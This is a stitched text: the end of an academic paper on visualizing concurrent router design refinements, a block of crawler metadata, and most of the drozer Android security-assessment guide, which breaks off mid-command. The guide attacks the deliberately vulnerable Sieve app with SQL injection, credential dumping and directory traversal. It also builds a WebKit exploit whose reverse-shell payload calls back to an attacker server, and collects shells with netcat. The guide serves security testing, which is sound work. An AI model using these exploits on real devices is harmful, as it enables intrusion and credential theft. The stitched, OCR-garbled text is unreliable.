*Foretelling.* Formally, the changes in the header value are tied to its current position on the row by an invariant relation. Given the current position and the header value we can foretell where the header will eventually move to the destination column. This allows us to materialize the header value as a beam of light originating in the header packet and focused on the switch where the turning on the column will occur (Image 4.5a). As the packet gets closer to the destination column, the focal distance of the beam is reduced until it goes down to zero. This kind of visual representation plays a key role in the visualization of two important classes of assertions. First, many progress properties (e.g., "eventually the header reaches the destination column") are proved using a variant function over a well-founded set (e.g., the remaining distance to the destination column). By showing a graphical representation of the metric one can actually see how progress is being measured. Second, unless properties (by their very nature) constrain the set of possible state transitions. In complex situations, it becomes helpful to depict the set of possible transitions by showing both some aspect of the current state such as the current packet position and the positions the packet can occupy next. Of course, when there are not many choices, as is the case in a cross-bar router, this use of foretelling is not necessary.
Image 3.5a Header value decrement (foretelling)
Image 3.6a Annotated description of switch level visualization (magnification)
4.6. Refinement 5: Asynchronous movement
The last refinement deals with the execution control we impose on the switches. A possible choice is to have the switches running asynchronously, another choice is to have them working in a synchronous way. We chose the more realistic asynchronous behavior. Since each location can contain at most one packet, this implies that a packet is not able to move to the next location, unless it is empty. This refinement is constructed simply by adding a single unless property that requires a packet to leave an empty register behind when it departs the switch. Trying to visualize that certain behaviors are no longer permitted is a little tricky. A simple solution is to foretell the situations in which packet movement is feasible by highlighting registers which could receive a packet in the next transition.
*Magnification.* Because at this point it is possible to write the final program, it is conceivable that one might want to present a visualization that includes details such as dataflows or even wires connecting the registers. We opted to combine one of the previous visualizations with a detailed visualization of the processing logic for a switch and its connections to its four neighbors (Image 4.6a). The absence of animation makes understanding the image more difficult. We present an annotated description of the switch representation (Figure 3) to clarify the image. The former visualization provides the global context while the latter shows the internal workings of a small portion of the switch. The two visualizations appear in separate windows exhibiting fully synchronized behaviors. The choice of switch to be shown in a close-up is at the viewer’s discretion, i.e., interactive.
5. Conclusions
In some earlier work [7] we proposed a proof-based methodology for the visualization of concurrent computations. We sought to find correspondences between formal properties of concurrent programs and appropriate visual counterparts. The case study described in this paper builds upon those early ideas but shifts the emphasis from after-the-fact program presentation to the integration of visualization into the design process. The paper showed the kinds of representations that emerge during a rigorous program design process and considered their interactions along a sequence of refinements. This type of investigation represents an important first step towards understanding how visualization can support the application of formal design methods. The case study revealed many useful elements of a systematic visualization methodology. They, in turn, contribute to defining the kinds of features that ought to be included in the next generation of program visualization systems.
6. References
|
{"Source-Url": "https://openscholarship.wustl.edu/cgi/viewcontent.cgi?referer=&httpsredir=1&article=1359&context=cse_research", "len_cl100k_base": 10169, "olmocr-version": "0.1.53", "pdf-total-pages": 27, "total-fallback-pages": 0, "total-input-tokens": 31936, "total-output-tokens": 12090, "length": "2e13", "weborganizer": {"__label__adult": 0.00037980079650878906, "__label__art_design": 0.0004456043243408203, "__label__crime_law": 0.0002636909484863281, "__label__education_jobs": 0.00064849853515625, "__label__entertainment": 6.246566772460938e-05, "__label__fashion_beauty": 0.00013720989227294922, "__label__finance_business": 0.00015735626220703125, "__label__food_dining": 0.0003204345703125, "__label__games": 0.0005016326904296875, "__label__hardware": 0.0008111000061035156, "__label__health": 0.0004458427429199219, "__label__history": 0.00021755695343017575, "__label__home_hobbies": 7.319450378417969e-05, "__label__industrial": 0.00031447410583496094, "__label__literature": 0.0002853870391845703, "__label__politics": 0.00020968914031982425, "__label__religion": 0.00043487548828125, "__label__science_tech": 0.0117645263671875, "__label__social_life": 7.176399230957031e-05, "__label__software": 0.003812789916992187, "__label__software_dev": 0.9775390625, "__label__sports_fitness": 0.0003113746643066406, "__label__transportation": 0.0004854202270507813, "__label__travel": 0.0001862049102783203}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 55799, 0.03637]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 55799, 0.60002]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 55799, 0.91903]], "google_gemma-3-12b-it_contains_pii": [[0, 1476, false], [1476, 2840, null], [2840, 3099, null], [3099, 4561, null], [4561, 7599, null], [7599, 10479, null], [10479, 13663, null], [13663, 14925, null], [14925, 18210, null], [18210, 21209, null], [21209, 23860, null], [23860, 26720, null], [26720, 28434, null], [28434, 31366, null], [31366, 34131, null], [34131, 35634, null], [35634, 38850, null], [38850, 38850, null], [38850, 41911, null], [41911, 44704, null], [44704, 44815, null], [44815, 47766, null], [47766, 50754, null], [50754, 50882, null], [50882, 52627, null], [52627, 53624, null], [53624, 55799, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1476, true], [1476, 2840, null], [2840, 3099, null], [3099, 4561, null], [4561, 7599, null], [7599, 10479, null], [10479, 13663, null], [13663, 14925, null], [14925, 18210, null], [18210, 21209, null], [21209, 23860, null], [23860, 26720, null], [26720, 28434, null], [28434, 31366, null], [31366, 34131, null], [34131, 35634, null], [35634, 38850, null], [38850, 38850, null], [38850, 41911, null], [41911, 44704, null], [44704, 44815, null], [44815, 47766, null], [47766, 50754, null], [50754, 50882, null], [50882, 52627, null], [52627, 53624, null], [53624, 55799, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 55799, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 55799, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 55799, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 55799, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 55799, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 55799, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 55799, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 55799, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 55799, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 55799, null]], "pdf_page_numbers": [[0, 1476, 1], [1476, 2840, 2], [2840, 3099, 3], [3099, 4561, 4], [4561, 7599, 5], [7599, 10479, 6], [10479, 13663, 7], [13663, 14925, 8], [14925, 18210, 9], [18210, 21209, 10], [21209, 23860, 11], [23860, 26720, 12], [26720, 28434, 13], [28434, 31366, 14], [31366, 34131, 15], [34131, 35634, 16], [35634, 38850, 17], [38850, 38850, 18], [38850, 41911, 19], [41911, 44704, 20], [44704, 44815, 21], [44815, 47766, 22], [47766, 50754, 23], [50754, 50882, 24], [50882, 52627, 25], [52627, 53624, 26], [53624, 55799, 27]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 55799, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-09
|
2024-12-09
|
f41b0ce91d8581f6b63778108e064b270de5a37a
|
Contents page
Change Synopsis .................................................................................................................. 3
1. Introduction ..................................................................................................................... 4
1.1 What is drozer? ........................................................................................................... 4
1.2 Conventions .............................................................................................................. 4
2. Getting Started ............................................................................................................. 5
2.1 Installing the Console .............................................................................................. 5
2.2 Installing the Agent .................................................................................................. 7
2.3 Starting a Session ..................................................................................................... 7
2.4 Inside the drozer Console ....................................................................................... 8
3. Using drozer for Security Assessment ........................................................................... 10
3.1 Sieve ......................................................................................................................... 10
3.2 Retrieving Package Information .............................................................................. 10
3.3 Identify the Attack Surface ...................................................................................... 11
3.4 Launching Activities ............................................................................................... 11
3.5 Reading from Content Providers ............................................................................ 13
3.6 Interacting with Services ....................................................................................... 16
3.7 Other Modules ......................................................................................................... 17
4. Exploitation Features in drozer .................................................................................... 18
4.1 Infrastructure Mode ................................................................................................. 18
4.2 Exploits .................................................................................................................... 19
4.3 weasel ....................................................................................................................... 20
5. Installing Modules ......................................................................................................... 22
5.1 Finding Modules ....................................................................................................... 22
5.2 Installing Modules ................................................................................................. 22
6. Getting Help .................................................................................................................. 23
Appendix I - drozer Namespaces ..................................................................................... 24
## Change Synopsis
<table>
<thead>
<tr>
<th>Date</th>
<th>Change Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>2012-09-04</td>
<td>First version of the Mercury Users’ Guide.</td>
</tr>
<tr>
<td>2012-12-14</td>
<td>Updated to reflect changes made to support the module-based interface.</td>
</tr>
<tr>
<td>2013-02-07</td>
<td>Added a section on ‘Installing Modules’ to describe to new module repository functionality.</td>
</tr>
<tr>
<td>2013-07-28</td>
<td>Updated to reflect the rebranding from Mercury to drozer, and added description of the new exploitation features.</td>
</tr>
<tr>
<td>2013-09-10</td>
<td>Updated the Installation section, to reflect using the package manager to install the system on Linux.</td>
</tr>
<tr>
<td>2015-03-23</td>
<td>Made general tweaks and changed style to make the guide version agnostic</td>
</tr>
</tbody>
</table>
1. Introduction
drozer is the leading security assessment framework for the Android platform.
drozer came about because we were tired of having to create dozens of custom, one-use applications to test for vulnerabilities during the security assessment of an Android app or device. The process was laborious and wasted a lot of time.
The need for a proper tool for dynamic analysis on Android was clear, and drozer was born.
This guide explains how to get started with drozer, and how to use it to perform a security assessment. It assumes some familiarity with the Android platform, in particular its IPC mechanism. We recommend that you read the Android Developers’ Guide (http://developer.android.com) before this guide.
Another resource which makes extensive use of drozer in its Android chapters is “The Mobile Application Hacker’s Handbook” (ISBN: 978-1-118-95850-6) which was written by one of drozer’s developers. This publication explains Android security concepts and is comprehensive in its use of drozer.
1.1 What is drozer?
drozer allows you to assume the role of an Android app and interact with other apps. It can do anything that an installed application can do, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system.
drozer also helps you to remotely exploit Android devices, by building malicious files or web pages that exploit known vulnerabilities. The payload that is used in these exploits is a rogue drozer agent that is essentially a remote administration tool. Depending on the permissions granted to the vulnerable app, drozer can install a full agent, inject a limited agent into the process using a novel technique or spawn a reverse shell.
drozer is open source software, released under a BSD license and maintained by MWR InfoSecurity. To get in touch with the project see Section 6.
1.2 Conventions
Throughout this guide, command line examples will use one of two prefixes:
- $ indicates that the command should be typed into your operating system prompt
- dz> indicates that the command should be typed into a drozer console
2. Getting Started
To get drozer running you will need:
- a PC (running Windows, Linux or Mac OS X)
- an Android device or emulator running Android 2.1 (Eclair) or later
2.1 Installing the Console
2.1.1 Prerequisites
To get the most from drozer, your system should have the following installed:
- Java Development Kit (JDK) 1.6 - very important! See note below
- Python 2.7
- Android SDK
You should ensure that each of these tools is on your path:
- adb
- java
Important note on Java
It is very important that Java 1.6 is installed and used. This is because Android bytecode is only compliant to version 1.6 and not higher versions. Making use of any version of javac other than 1.6 will result in errors during compilation that look similar to the following:
```
trouble processing:
bad class file magic (cafebabe) or version (0033.0000)
...while parsing ClassLoadTest.class
...while processing ClassLoadTest.class
1 warning
no classfiles specified
Error whilst building APK bundle.
```
2.1.2 Microsoft Windows
Download the drozer installer from the MWR website (http://mwr.to/drozer) and run it. The installer will build a complete Python environment, with drozer’s dependencies built in.
To test your installation, open a terminal and run:
$ C:\drozer\drozer.bat
usage: drozer.bat [COMMAND]
Run `drozer.bat [COMMAND] --help` for more usage information.
Commands:
- console start the drozer Console
- server start a drozer Server
- ssl manage drozer SSL key material
- exploit generate an exploit to deploy drozer
- shellcode generate shellcode to deploy drozer
- payload create custom drozer Agents
Congratulations! You are ready to connect drozer to a device, and start exploring.
2.1.3 Linux
drozer’s packages are provided for the dpkg and RPM packaging systems. These have been tested under Debian/Ubuntu and Fedora respectively.
If your platform supports one of these, download the appropriate package and install it through your package manager. You may be prompted to install some additional dependencies.
If your platform does not support these packages, please follow the instructions for Other Platforms.
2.1.4 Other Platforms
To install drozer, first make sure that your PC has a working installation of Python 2.7.
Then, install drozer’s dependencies:
$ wget http://pypi.python.org/packages/2.7/s/setuptools/setuptools-0.6c11-py2.7.egg
$ sh setuptools-0.6c11-py2.7.egg
$ easy_install --allow-hosts pypi.python.org protobuf
$ easy_install twisted==10.2.0
Finally, install drozer itself. Download either the zipped or tarball distribution, and extract the egg file within.
Then run:
$ easy_install ./drozer-2.x.x-py2.7.egg
To test your installation, open a terminal and run:
$ drozer
usage: drozer [COMMAND]
Run `drozer [COMMAND] --help` for more usage information.
Commands:
- console start the drozer Console
- module manage drozer modules
- server start a drozer Server
- ssl manage drozer SSL key material
- exploit generate an exploit to deploy drozer
- agent create custom drozer Agents
- payload generate payloads to deploy drozer
Congratulations! You are ready to connect drozer to a device, and start exploring.
2.2 Installing the Agent
The drozer Agent is included as an Android Package (.apk) file in all drozer distributions. This can be installed onto your emulator or device using Android Debug Bridge (adb):
$ adb install agent.apk
The drozer Agent should appear in the launcher of your device, and can be launched by tapping the icon.
2.3 Starting a Session
You should now have the drozer Console installed on your PC, and the Agent running on your test device. Now, you need to connect the two and you’re ready to start exploring.
We will use the server embedded in the drozer Agent to do this.
First, you need to set up a suitable port forward so that your PC can connect to a TCP socket opened by the Agent inside the emulator, or on the device. By default, drozer uses port 31415:
$ adb forward tcp:31415 tcp:31415
Now, launch the Agent, select the “Embedded Server” option and tap “Enable” to start the server. You should see a notification that the server has started.
Then, on your PC, connect using the drozer Console:
$ drozer console connect
Or, on Microsoft Windows:
$ C:\drozer\drozer.bat console connect
You should be presented with a drozer command prompt:
Selecting f75640f67144d9a3 (unknown sdk 4.1.1)
...
The prompt confirms the Android ID of the device you have connected to, along with the manufacturer, model and Android software version.
You are now ready to start exploring the device.
2.4 Inside the drozer Console
The drozer Console is a command line environment, which should be familiar to anybody who has used a bash shell or Windows terminal.
drozer provides a wide range of ‘modules’ for interacting with an Android device to assess its security posture. Each module implements a very specific function, e.g. listing all packages installed on the device.
These modules are organised into namespaces that group specific functions (see Appendix I).
You interact with drozer modules by using the various commands that drozer defines:
<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>run MODULE list</td>
<td>Execute a drozer module. Show a list of all drozer modules that can be executed in the current session. This hides modules that you do not have suitable permissions to run.</td>
</tr>
<tr>
<td>shell</td>
<td>Start an interactive Linux shell on the device, in the context of the Agent</td>
</tr>
<tr>
<td>Command</td>
<td>Description</td>
</tr>
<tr>
<td>----------</td>
<td>-------------</td>
</tr>
<tr>
<td>cd</td>
<td>Mounts a particular namespace as the root of session, to avoid having to repeatedly type the full name of a module.</td>
</tr>
<tr>
<td>clean</td>
<td>Remove temporary files stored by drozer on the Android device.</td>
</tr>
<tr>
<td>contributors</td>
<td>Displays a list of people who have contributed to the drozer framework and modules in use on your system.</td>
</tr>
<tr>
<td>echo</td>
<td>Print text to the console.</td>
</tr>
<tr>
<td>exit</td>
<td>Terminate the drozer session.</td>
</tr>
<tr>
<td>help</td>
<td>Display help about a particular command or module.</td>
</tr>
<tr>
<td>load</td>
<td>Load a file containing drozer commands, and execute them in sequence.</td>
</tr>
<tr>
<td>module</td>
<td>Find and install additional drozer modules from the Internet.</td>
</tr>
<tr>
<td>permissions</td>
<td>Display a list of the permissions granted to the drozer Agent.</td>
</tr>
<tr>
<td>set</td>
<td>Store a value in a variable that will be passed as an environment variable to any Linux shells spawned by drozer.</td>
</tr>
<tr>
<td>unset</td>
<td>Remove a named variable that drozer passes to any Linux shells that it spawns.</td>
</tr>
</tbody>
</table>
3. Using drozer for Security Assessment
Once you have successfully installed drozer, and have established a session between your PC and device, you will no doubt want to find out how to use drozer.
This section guides you through how to perform a limited section of an assessment of a vulnerable app. The name of the app being used is Sieve, which can be downloaded from the MWR Labs website: http://mwr.to/sieve.
3.1 Sieve
Sieve is a small Password Manager app created to showcase some of the common vulnerabilities found in Android applications.
When Sieve is first launched, it requires the user to set a 16 character ‘master password’ and a 4 digit pin that are used to protect passwords that the user enters later. The user can use Sieve to store passwords for a variety of services, to be retrieved at a later date if the correct credentials are required.
Before you start this tutorial, install Sieve onto an Android emulator and create a few sets of credentials.
3.2 Retrieving Package Information
The first step in assessing Sieve is to find it on the Android device. Apps installed on an Android device are uniquely identified by their ‘package name’. We can use the `app.package.list` command to find the identifier for Sieve:
```
dz> run app.package.list -f sieve
com.mwr.example.sieve
```
We can ask drozer to provide some basic information about the package using the `app.package.info` command:
```
dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/data/com.mwr.example.sieve
APK Path: /data/app/com.mwr.example.sieve-2.apk
UID: 10056
GID: [1028, 1015, 3003]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
```
This shows us a number of details about the app, including the version, where the app keeps its data on the device, where it is installed and a number of details about the permissions allowed to the app.
### 3.3 Identify the Attack Surface
For the sake of this tutorial, we will only consider vulnerabilities exposed through Android’s built-in mechanism for Inter-Process Communication (IPC). These vulnerabilities typically result in the leakage of sensitive data to other apps installed on the same device.
We can ask drozer to report on Sieve’s attack surface:
```
dz> run app.package.attacksurface com.mwr.example.sieve
```
Attack Surface:
- 3 activities exported
- 0 broadcast receivers exported
- 2 content providers exported
- 2 services exported
- is debuggable
This shows that we have a number of potential vectors. The app ‘exports’ (makes accessible to other apps) a number of activities (screens used by the app), content providers (database objects) and services (background workers).
We also note that the service is debuggable, which means that we can attach a debugger to the process, using adb, and step through the code.
### 3.4 Launching Activities
We can drill deeper into this attack surface by using some more specific commands. For instance, we can ask which activities are exported by Sieve:
```
dz> run app.activity.info -a com.mwr.example.sieve
```
Package: com.mwr.example.sieve
- com.mwr.example.sieve.FileSelectActivity
- com.mwr.example.sieve.MainLoginActivity
One of these we expect (MainLoginActivity) because this is the screen displayed when we first launch the application.
The other two are less expected: in particular, the PWList activity. Since this activity is exported and does not require any permission, we can ask drozer to launch it:
```
dz> run app.activity.start --component
com.mwr.example.sieve com.mwr.example.sieve.PWList
```
This formulates an appropriate Intent in the background, and delivers it to the system through the `startActivity` call. Sure enough, we have successfully bypassed the authorization and are presented with a list of the user’s credentials:

When calling `app.activity.start` it is possible to build a much more complex Intent. As with all drozer modules, you can request more usage information:
```
dz> help app.activity.start
usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]
[--component PACKAGE COMPONENT] [--data-uri DATA_URI]
[--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]
[--mimetype MIMETYPE]
```
3.5 Reading from Content Providers
Next we can gather some more information about the content providers exported by the app. Once again we have a simple command available to request additional information:
```
> run app.provider.info -a com.mwr.example.sieve
```
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
This shows the two exported content providers that the attack surface alluded to in Section 3.3. It confirms that these content providers do not require any particular permission to interact with them, except for the /Keys path in the DBContentProvider.
3.5.1 Database-backed Content Providers (Data Leakage)
It is a fairly safe assumption that a content provider called ‘DBContentProvider’ will have some form of database in its backend. However, without knowing how this content provider is organised, we will have a hard time extracting any information.
We can reconstruct part of the content URIs to access the DBContentProvider, because we know that they must begin with “content://”. However, we cannot know all of the path components that will be accepted by the provider.
Fortunately, Android apps tend to give away hints about the content URIs. For instance, in the output of the `app.provider.info` command we see that “/Keys” probably exists as a path, although we cannot query it without the READ_KEYS permission.
drozer provides a scanner module that brings together various ways to guess paths and divine a list of accessible content URIs:
```java
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
- content://com.mwr.example.sieve.DBContentProvider/Keys/
- content://com.mwr.example.sieve.DBContentProvider/Passwords/
- content://com.mwr.example.sieve.DBContentProvider/Passwords/
```
We can now use other drozer modules to retrieve information from those content URIs, or even modify the data in the database:
```java
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjgXIMVa5NJFuldgDuuLVg3YFD+8w== (Base64-encoded)
email: incognitoguy50@gmail.com
Once again we have defeated the app’s security and retrieved a list of usernames from the app. In this example, drozer has decided to base64 encode the password. This indicates that field contains a binary blob that otherwise could not be represented in the console.
### 3.5.2 Database-backed Content Providers (SQL Injection)
The Android platform promotes the use of SQLite databases for storing user data. Since these databases use SQL, it should come as no surprise that they can be vulnerable to SQL injection.
It is simple to test for SQL injection by manipulating the projection and selection fields that are passed to the content provider:
```java
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection ""
unrecognized token: "" FROM Passwords" (code 1): , while compiling: SELECT '
```
FROM Passwords
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
--selection "'"
unrecognized token: ")" (code 1): , while compiling: SELECT * FROM Passwords
WHERE (')
Android returns a very verbose error message, showing the entire query that it tried to execute.
We can fully exploit this vulnerability to list all tables in the database:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
--projection "*" FROM SQLITE_MASTER WHERE type='table';--"
<table>
<thead>
<tr>
<th>type</th>
<th>name</th>
<th>tbl_name</th>
<th>rootpage</th>
<th>sql</th>
</tr>
</thead>
<tbody>
<tr>
<td>table</td>
<td>android_metadata</td>
<td>android_metadata</td>
<td>3</td>
<td>CREATE TABLE ...</td>
</tr>
<tr>
<td>table</td>
<td>Passwords</td>
<td>Passwords</td>
<td>4</td>
<td>CREATE TABLE ...</td>
</tr>
<tr>
<td>table</td>
<td>Key</td>
<td>Key</td>
<td>5</td>
<td>CREATE TABLE ...</td>
</tr>
</tbody>
</table>
or to query otherwise protected tables:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
--projection "*" FROM Key;
<table>
<thead>
<tr>
<th>Password</th>
<th>pin</th>
</tr>
</thead>
<tbody>
<tr>
<td>thisismypassword</td>
<td>9876</td>
</tr>
</tbody>
</table>
3.5.3 File System-backed Content Providers
A content provider can provide access to the underlying file system. This allows apps to share files, where the Android sandbox would otherwise prevent it.
Since we can reasonably assume that FileBackupProvider is a file system-backed content provider and that the path component represents the location of the file we want to open, we can easily guess the content URIs for this and use a drozer module to read the files:
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Reading the /etc/hosts file is not a big problem (it is world readable anyway) but having discovered the path to the application’s data directory in Section 3.2 we can go after more sensitive information:
dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data
/data/com.mwr.example.sieve/databases/database.db /home/user/database.db
This has copied the application’s database from the device to the local machine, where it can be browsed with sqlite to extract not only the user’s encrypted passwords, but also their master password.
### 3.5.4 Content Provider Vulnerabilities
We have seen that content providers can be vulnerable to both SQL injection and directory traversal. drozer offers modules to automatically test for simple cases of these vulnerabilities:
```
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
```
### 3.6 Interacting with Services
So far we have almost compromised Sieve. We have extracted the user’s master password, and some cipher text pertaining to their service passwords. This is good, but we can fully compromise Sieve through the services that it exports.
Way back in Section 3.3, we identified that Sieve exported two services. As with activities and content providers, we can ask for a little more detail:
```
dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.AuthService
Permission: null
```
Once again, these services are exported to all other apps, with no permission required to access them. Since we are trying to decrypt passwords, CryptoService looks interesting.
It is left as an exercise to the reader to fully exploit Sieve's CryptoService. It would typically involve decompiling the app to determine the protocol, and using `app.service.send` or writing a custom drozer module to send messages to the service.
### 3.7 Other Modules
drozer provides a number of other modules that are useful during security assessments:
- **shell.start**
Start an interactive Linux shell on the device.
- **tools.file.upload / tools.file.download**
Allow files to be copied to/from the Android device.
- **tools.setup.busybox / tools.setup.minimalsu**
Install useful binaries on the device.
For an exhaustive list, type `list` into your drozer console.
4. Exploitation Features in drozer
drozer offers features to help deploy a drozer agent onto a remote device, through means of exploiting applications on the device or performing attacks that involve a degree of social engineering.
drozer provides a framework for sharing of exploits and reuse of high quality payloads. It provides modules that allow the generation of shell code for use in exploits in order to help gain access to sensitive data on the remotely compromised device.
4.1 Infrastructure Mode
Up until now you’ve probably been running drozer in “direct mode” where you run the agent’s embedded server and connect directly to it. This is handy for devices connected via adb, or on your local Wi-Fi network.
drozer supports another mode of operation: “infrastructure mode”. In infrastructure mode, you run a drozer server either on your network or on the Internet that provides a rendezvous point for your consoles and agents, and routes sessions between them.
Since infrastructure mode establishes an outbound connection from the device, it is also useful for situations where you do not know the IP address of the device, or you need to traverse NAT or firewalls.
4.1.1 Running a drozer Server
To run a drozer server, you need a machine with drozer installed that is accessible by both the mobile device and the PC running your console.
Then simply execute:
```
$ drozer server start
```
4.1.2 Connecting an Agent
To cause your agent to connect to the server, you must add its details as an ‘Endpoint’. On the device:
1. Start the drozer Agent, press the menu button, and choose ‘Settings’.
2. Select ‘New Endpoint’.
3. Set the ‘Host’ to the hostname or IP address of your server.
4. Set the ‘Port’ to the port your server is running on, unless it is the standard
5. Press ‘Save’ (you may need to press the menu button on older devices).
If you navigate back to the main screen, you should see your endpoint under the drozer logo. Select it and enable it in the same way as you would start the embedded server.
4.1.3 Connecting a Console
You are now ready to connect your console to the server. First, you will need to check which, if any, devices are connected:
```bash
$ drozer console devices --server myserver:31415
```
List of Bound Devices
<table>
<thead>
<tr>
<th>Device ID</th>
<th>Manufacturer</th>
<th>Model</th>
<th>Software</th>
</tr>
</thead>
<tbody>
<tr>
<td>67dcdbcade6b60</td>
<td>unknown</td>
<td>sdk</td>
<td>4.1.2</td>
</tr>
<tr>
<td>67dcdbcade6b61</td>
<td>unknown</td>
<td>sdk</td>
<td>4.2.0</td>
</tr>
</tbody>
</table>
Where “myserver” is the hostname or IP address of your drozer server.
This shows that we have two devices connected, running different version of Jellybean. You can specify which to use by giving its Device ID when starting the console:
```bash
$ drozer console connect 67dcdbcade6b60 --server myserver:31415
```
```
...
dz>
```
4.1.4 drozer Server and Exploitation
The drozer server is crucial for exploitation because it acts as many servers in one:
- drozerp if a drozer agent connects, it uses drozer’s custom binary protocol
- http if a web browser connects, it serves resources over HTTP
- bytestream if a particular byte is sent at the beginning of a transmission, it streams a resource in response
- shell server if an ‘S’ (0x53) is sent as the first byte, the connection is cached as a bind shell
Drozer makes use of this server throughout exploitation to host the resources required to successfully complete the exploit and deploy an agent to a device and to receive connections from compromised devices.
4.2 Exploits
Drozer exploit templates and shellcode are special types of drozer modules. They are combined by the `drozer exploit` command to create a full exploit:
```bash
$ drozer exploit build EXPLOIT SHELLCODE [OPTIONS]
```
The available exploits can be listed by running:
```
$ drozer exploit list
exploit.remote.webkit.nanparse
Webkit Invalid NaN Parsing (CVE-2010-1807)
...
```
Likewise, to see available shellcode:
```
$ drozer shellcode list
shell.reverse_tcp.arm Elle a reverse TCP Shell (ARMEABI)
weasel.reverse_tcp.arm Elle a reverse TCP Shell (ARMEABI)
```
Putting this together, we can build an exploit for CVE-2010-1807, that uses weasel (MWR’s advanced payload) to gain a foothold on an old Android 2.1 device:
```
$ drozer exploit build exploit.remote.webkit.nanparse --payload weasel.reverse_tcp.arm Elle --server 10.0.2.2:31415 --push-server 127.0.0.1:31415 --resource /home.html
Uploading weasel to /weasel and W... [ OK ]
Uploading the Agent to /agent.apk and A... [ OK ]
Uploading Exploit to /home.html... [ OK ]
Done. The exploit is available at: http://10.0.2.2:31415/home.html
```
Point a vulnerable device at the exploit address in its web browser, and shortly afterwards you will have a connection back from the exploit:
```
$ drozer console devices
List of Bound Devices
Device ID Manufacturer Model Software
9265590285227392218 unknown unknown unknown
```
The abnormally long Device ID, and ‘unknown’ in all other fields, suggests that this is a lightweight agent, and we haven’t successfully installed a full drozer agent.
### 4.3 weasel
In Section 4.2, we saw how weasel was able to deploy a lightweight agent onto a vulnerable device. weasel is drozer’s advanced payload to automatically gain maximum leverage on a compromised device.
Here’s what happens:
1. The vulnerable device is exploited (in some way).
2. The exploit runs shell code that establishes a reverse TCP shell connection to the drozer server.
3. The payload sends a ‘W’ (0x57) to the drozer server to indicate that it would like the weasel stager sequence to be executed.
4. The drozer server delivers shell commands to install and start weasel.
5. weasel tries a number of techniques to run a drozer agent.
Depending on what weasel was able to do to escalate privileges, you will receive a connection from either a full agent, a limited agent or just a normal reverse shell.
4.3.1 Full Agent
If weasel was able to install a package, you will receive a connection from a full drozer agent. This is identical to the agent that you will have been using so far, but does not display a GUI to the device’s owner.
4.3.2 Limited Agent
If weasel was not able to install a package, it may still be able to run a version of the drozer agent. This is the full agent, but does not have access to any ‘Application Context’. This prevents it from interacting directly with parts of the runtime, such as the Package Manager so you cannot interact with other packages or their IPC endpoints. If you are given a limited agent, drozer will automatically hide the modules it is unable to run from the ‘list’ command.
4.3.3 Reverse Shell
If drozer was not able to execute even a limited agent, it will provide a normal Linux shell to the drozer server. You can collect these shells by connecting to the server with netcat, and sending a single line that says ‘COLLECT’:
```
$ nc myserver 31415
COLLECT
